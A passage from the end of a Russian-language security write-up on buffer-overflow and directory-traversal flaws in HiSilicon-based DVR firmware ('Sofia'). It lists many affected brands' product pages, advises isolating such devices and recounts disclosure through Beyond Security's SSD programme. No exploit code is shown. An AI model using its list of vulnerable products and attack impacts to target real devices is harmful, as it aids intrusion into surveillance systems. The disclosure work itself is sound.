выполнение кода с правами root на устройстве (без аутентификации),
установить бэкдоры, вредоносное ПО и прочие вредоносные компоненты
|обход каталогов |высокий |80/tcp |ранее другими (?) и автором
|несанкционированный доступ на чтение ко всему (например, к записанным
видеопотокам) на устройстве, также помогает при эксплуатации переполнения буфера
|=======================================================================
Если кто-то думает, что от этих серьёзных уязвимостей страдает только
устройство под брендом «Seculink», то он ошибается. Спектр затронутых
устройств очень широк. Уязвимо каждое устройство, построенное на таком
аппаратном обеспечении HiSilicon SoC. Эти устройства используют
(почти) одну и ту же прошивку с бинарным приложением под названием
«Sofia». Описанная выше уязвимость (и даже полнофункциональный скрипт)
работает почти безотказно без изменений на множестве различных
устройств.
Вот (неполный) список затронутых брендов:
image::./brands_affected.png[затронутые бренды]
http://www.vacron.com/products_CCTV_dvr.html +
http://www.gess-inc.com/gess/dvrs/ +
http://www.jufenginfo.com/en/product-list.php?cid=10&pid=166&parid=175 +
http://egpis.co.kr/egpis/product.php?category=AHD&category2=AHD_D +
http://optimus-cctv.ru/catalog/ahd-videoregistratory +
http://www.clearcftv.com.br/linha.php?l=5&ln=ahd +
http://click-cam.com/html2/products.php?t=2 +
http://www.ccd.dn.ua/ahd-videoregistratory.html +
http://www.dhssicurezza.com/tvcc-ahd/dvr-ahd-720p/ +
http://www.gigasecurity.com.br/subcategoria-gravadores-de-video-dvr +
http://www.luxvision.com.br/category/dvr-ahd/ +
http://www.yesccd.com/?products/DigitalVideoRecorder.html +
http://www.tvzsecurity.com.br/produtos/31/Stand-Alone +
http://showtec.com.br/dv-stand-alone/ +
http://www.ecotroniccftv.com.br/index.php +
http://starligh.com/cctv/grabadoras.html +
http://www.activepixel.us/ap-0404-ahd.html +
http://j2000.ru/cat/DVR/ +
http://partizan.global/product/ahd-video-surveillance/ahd-dvrs.html +
http://kenik.pl/index.php/tag/rejestrator/ +
http://www.redebsd.com.br/categoria-25-gravacao-digital +
http://www.idvr.com.br/produtos-index/categorias/2374896/dvr___ahd_lancamento.html +
http://www.visagems.com.br/prd.asp?idP=1119575 +
http://www.braskell.com.br/dvr.html +
http://www.segvideo.com/segvideo/nvr-hvr.html +
http://www.neocam.com.br/cameras-cftv/stand-alone +
http://www.venetian.com.br/categoria/dvr-hvr-04-canais/ +
http://www.cctvkits.co.uk/oyn-x-orpheus-hdtvi-4-channel-dvr-1080p.html +
http://ecopower-brasil.com/produto/DVR-HSBS-HSBS%252d3604.html +
http://www.vixline.com.br/vitrine-de-produtos/dvrs/ +
http://aliveelectronics.com.br/category/gravadores-de-video/ +
http://www.issl.com.hk/CCTV_DVRCYVIEW1.htm +
http://idview.com/IDVIEW/Products/DVR/dvr-Analog.html +
http://www.vonnic.ca/products376e.html?cat=13 +
http://polyvision.ru/polyvision/catalog_gibridnye.html +
http://altcam.ru/video/hd-videonabludenie/ +
http://cyfron.ru/catalog/dvr/ +
http://www.t54.ru/catalog/videoregistratory/ahd_analogovye_registratory/ +
http://www.hiview.co.th/index.php?mo=3&art=42195125 +
http://www.kkmoon.com/usb-fan-271/p-s413-uk.html +
http://qvisglobal.com/ahd-tvi-960h-hybrid +
https://www.beylerbeyiguvenlik.com.tr/kayitcihazlari-beylerbeyi.html +
http://www.novicam.ru/index.php?route=product/product&product_id=429 +
http://www.espuk.com/uploads/catalogue/HDview%20catalogue%202015.pdf +
http://www.ebay.com/itm/SNOWDON-8-CHANNEL-PROFESSIONAL-CCTV-NETWORK-DVR-MACHINE-SYSTEM-H-264-1TB-500GB-/172250300884 +
http://giraffe.by/catalog/tsifrovye-videoregistratory +
http://www.winpossee.com/en/list/?17_1.html +
http://tesamed.com.pl/rejestrator-cyfrowy-vtv-n-1016-vtvision-dvr-16-kanalowy-p-532.html +
http://hiq-electronics.ru/videoregistratory +
http://www.eltrox.pl/catalogsearch/result/?q=easycam+rejestrator&order=v_117002&dir=desc +
http://www.x5tech.com.tr/?cmd=UrunListe&GrupNo=265&t=0 +
http://bigit.ro/dvr-16-canale-hybrid-full-d1-asrock-as-616tel.html +
http://secur.ua/videonablyudenie/ustroystva-zapisi/dvr/?brand_vreg=1557 +
http://www.divitec.ru/videoregistratoryi-divitec-idvr/
В целом можно сказать, что такие дешёвые IoT-устройства — это кошмар
для безопасности. Каждое устройство, протестированное автором в последнее
время, имело ту или иную серьёзную или критическую уязвимость.
С точки зрения пентестера, рекомендация такова: такие устройства нужно
хорошо изолировать, они не должны находиться в одной сети с важными
конфиденциальными данными. К сожалению, реальных шансов получить
обновления с исправлениями для таких прошивок нет.
Наконец, важно отметить, что эта уязвимость переполнения буфера
(с PoC-кодом эксплойта) была раскрыта через программу
https://www.beyondsecurity.com/ssd.html[SecuriTeam Secure Disclosure]
(SSD) компании https://www.beyondsecurity.com/[Beyond Security]. Вендор
(HiSilicon) был уведомлён (компанией Beyond Security) в конце
2016 года, но ответа не последовало до того, как уязвимость была
опубликована (к сожалению, это обычная практика).
Опубликованное раскрытие от февраля 2017 года доступно
https://ssd-disclosure.com/ssd-advisory-hisilicon-multiple-vulnerabilities/[здесь].
*ОБНОВЛЕНИЕ (2023-01-01):* На это исследование ссылается https://vulncheck.com/[VulnCheck]
(2022-11-30) в статье о взломе устройств Xiongmai
от https://twitter.com/Junior_Baines[Jacob Baines]:
https://vulncheck.com/blog/xiongmai-iot-exploitation